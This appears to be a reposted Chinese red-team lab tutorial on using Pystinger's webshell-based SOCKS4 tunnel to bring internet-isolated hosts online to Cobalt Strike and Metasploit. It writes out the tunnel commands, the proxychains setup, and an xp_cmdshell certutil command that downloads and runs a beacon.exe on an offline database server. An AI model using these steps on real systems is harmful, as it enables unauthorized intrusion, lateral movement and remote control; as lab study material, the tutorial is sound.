当前位置:网站首页>(毒刺)利用Pystinger Socks4上线不出网主机
(毒刺)利用Pystinger Socks4上线不出网主机
2022-07-02 22:13:00 【明月清风~~】
(毒刺)利用Pystinger Socks4上线不出网主机
原文链接:https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
我们接着前两篇文章继续分享一篇利用Pystinger Socks4代理方式上线不出网主机的姿势,包括单主机和内网多台主机的两种常见场景!!!
项目地址:https://github.com/FunnyWolf/pystinger
**相关阅读:
**
0x01 测试环境
攻击机(Kali):192.168.56.101受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡受害机2(Data):192.168.186.4 - 断网机
0x02 Pystinger简单介绍
Pystinger由服务端webshell、stinger_server和客户端stinger_client两部分组成,可通过webshell实现内网SOCK4代理及端口映射,支持php/jsp(x)/aspx三种代理脚本。

webshell只负责流量转发,大部分建立连接及处理数据的工作由stinger_server完成,stinger_client则用于接收转发过来的流量数据以及与CS/MSF的listener建立TCP连接等。
大致原理如下图,更为详细的原理分析可阅读“奇安信安全服务”公众号中的“红队攻防实践:不出网主机搭建内网隧道新思路”一文进行学习了解。

0x03 Pystinger上线不出网主机
我们先将Pystinger项目的服务端stinger_server.exe、proxy.aspx通过中国菜刀上传至目标磁盘可读写目录中,访问proxy.aspx返回UTF-8表示正常,接着执行以下命令启动服务端。
start C:\inetpub\wwwroot\stinger_server.exe 0.0.0.0

**注:**作者提示不要直接运行D:/XXX/stinger_server.exe,因为这样可能会导致TCP断连。
将客户端stinger_client上传至Kali攻击机的tmp临时目录,然后再执行以下命令将Socks4的代理流量转发到我们Kali攻击机60000端口上,只要把-w参数替换为自己上传的代理脚本地址即可。
[email protected]:/tmp# chmod 777 [email protected]:/tmp# ./stinger_client -w http://192.168.56.102/proxy.aspx -l 127.0.0.1 -p 60000

场景1:单主机上线
已控主机为单主机,不出外网且仅允许访问目标Web的80端口。如遇这种场景时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填127.0.0.1,HTTP Port填60020。

场景2:多主机上线
已控主机为内网其中一台主机,双网卡(192.168.56.X为出网段,192.168.186.X为不出网段),在对不出网段中的其他内网主机进行横向移动上线时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填192.168.186.3,HTTP Port填60020。

配置好监听后生成一个可执行马儿,将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,再利用xp_cmdshell组件执行beacon.exe后即可成功上线,Pystinger客户端那边也收到了相关连接数据。
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/beacon.exe C:\ProgramData\beacon.exe'EXEC master..xp_cmdshell 'C:\ProgramData\beacon.exe'


CobaltStrike监听设置
单主机上线:
CobaltStrike->Listeners->Add->127.0.0.1:60020;多主机上线:
CobaltStrike->Listeners->Add->192.168.186.3:60020;**注:**目标主机为双网卡时必须用不出网IP段的内网IP地址进行监听才能上线不出网主机;
上线至MSF的利用姿势
Kali攻击机上编辑/etc/proxychains.conf文件,底部添加一条socks4代理:127.0.0.1:60000,添加完成后先执行以下几条命令来验证下是否已经与不出网IP段通了?
[email protected]:~# proxychains telnet 192.168.186.4 [email protected]:~# proxychains curl http://[email protected]:~# proxychains nmap -sT -Pn 192.168.186.4[...SNIP...]
如果通了就再用proxychains来启动msfconsole,用不出网IP段的内网IP地址进行监听即可。原理大家都懂,就不实操截图了…。
[email protected]:~# proxychains msfconsole -q[...SNIP...]
边栏推荐
- MySQL queries nearby data And sort by distance
- 密码技术---分组密码的模式
- golang中new与make的区别
- AES高級加密協議的動機闡述
- Getting started with golang: for Range an alternative method of modifying the values of elements in slices
- Easyclick, EC Quanlang network verification source code
- Value sequence < detailed explanation of daily question >
- [adjustment] postgraduate enrollment of Northeast Petroleum University in 2022 (including adjustment)
- How does Jerry test the wrong touch rate of keys [chapter]
- Jerry's built-in shutdown current is 1.2ua, and then it can't be turned on by long pressing [chapter]
猜你喜欢
![[chestnut sugar GIS] how does global mapper batch produce ground contour lines through DSM](/img/5d/c23ec16df6ce8d78207b635f59dc20.png)
[chestnut sugar GIS] how does global mapper batch produce ground contour lines through DSM

RecyclerView结合ViewBinding的使用

設置單擊右鍵可以選擇用VS Code打開文件

数据标注典型案例,景联文科技如何助力企业搭建数据方案
![Eight bit responder [51 single chip microcomputer]](/img/4f/683948fca93a0dc1a0409839f60759.jpg)
Eight bit responder [51 single chip microcomputer]

Jinglianwen technology's low price strategy helps AI enterprises reduce model training costs

Innovation strength is recognized again! Tencent security MSS was the pioneer of cloud native security guard in 2022

Li Kou brush questions (2022-6-28)
![P7072 [csp-j2020] live broadcast Award](/img/bc/fcbc2b1b9595a3bd31d8577aba9b8b.png)
P7072 [csp-j2020] live broadcast Award

深度剖析数据在内存中的存储----C语言篇
随机推荐
Eight honors and eight disgraces of the programmer version~
提交代码流程
聊聊内存模型与内存序
Freshman learning sharing
Why does RTOS system use MPU?
Successfully changed Splunk default URL root path
Stop slave is stuck -- the event of the transaction is not copied completely
Realize the linkage between bottomnavigationview and navigation
QT qpprogressbar details
xshell配置xforward转发火狐浏览器
Sword finger offer II 099 Sum of minimum paths - double hundred code
Minimum spanning tree
golang入门:for...range修改切片中元素的值的另类方法
Start from the bottom structure to learn the customization and testing of FPGA --- Xilinx ROM IP
Niuke network: maximum submatrix
Explain promise usage in detail
20220524_ Database process_ Statement retention
The first batch of Tencent cloud completed the first cloud native security maturity assessment in China
剑指 Offer II 099. 最小路径之和-双百代码
Submit code process